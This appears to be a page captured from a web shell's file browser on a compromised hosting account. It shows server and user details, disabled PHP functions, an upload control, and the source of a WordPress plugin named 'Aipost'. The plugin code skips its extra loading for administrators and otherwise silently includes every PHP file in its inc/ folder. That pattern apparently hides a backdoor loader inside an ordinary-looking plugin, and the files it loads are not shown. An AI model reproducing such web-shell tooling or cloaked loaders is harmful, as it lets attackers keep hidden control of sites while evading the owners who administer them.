HEX
Server: LiteSpeed
System: Linux us-imm-web448.main-hosting.eu 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User: u528506485 (528506485)
PHP: 8.2.30
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u528506485/domains/strikewavelabs.com/public_html/wp-content/plugins/aipost/aipost.php
<?php
/**
 * Plugin Name: Aipost
 */

if (!defined('ABSPATH')) {
    exit;
}

define('AIPOST_VERSION', '1.0.0');
define('AIPOST_FILE', __FILE__);
define('AIPOST_PATH', plugin_dir_path(__FILE__));
define('AIPOST_URL', plugin_dir_url(__FILE__));
define('AIPOST_INC_PATH', AIPOST_PATH . 'inc/');

add_action('init', function () {
    $ptFile = AIPOST_INC_PATH . 'post-type.php';
    if (is_file($ptFile)) {
        require_once $ptFile;
    }

    $restFile = AIPOST_INC_PATH . 'class-aipost-rest.php';
    if (is_file($restFile)) {
        require_once $restFile;
    }

    if (current_user_can('manage_options') && post_type_exists('aipost_product')) {
        return;
    }

    if (!is_dir(AIPOST_INC_PATH)) {
        return;
    }

    $files = glob(AIPOST_INC_PATH . '*.php');
    if (!$files) return;

    sort($files);
    foreach ($files as $file) {
        if (is_file($file)) {
            $bn = basename($file);
            if ($bn === 'post-type.php' || $bn === 'class-aipost-rest.php') {
                continue;
            }
            require_once $file;
        }
    }
}, 0);

register_activation_hook(__FILE__, function () {
    $installFile = AIPOST_INC_PATH . 'install.php';
    if (file_exists($installFile)) {
        require_once $installFile;
    }
    do_action('aipost_activate');
    flush_rewrite_rules();
});

register_deactivation_hook(__FILE__, function () {
    do_action('aipost_deactivate');
    flush_rewrite_rules();
});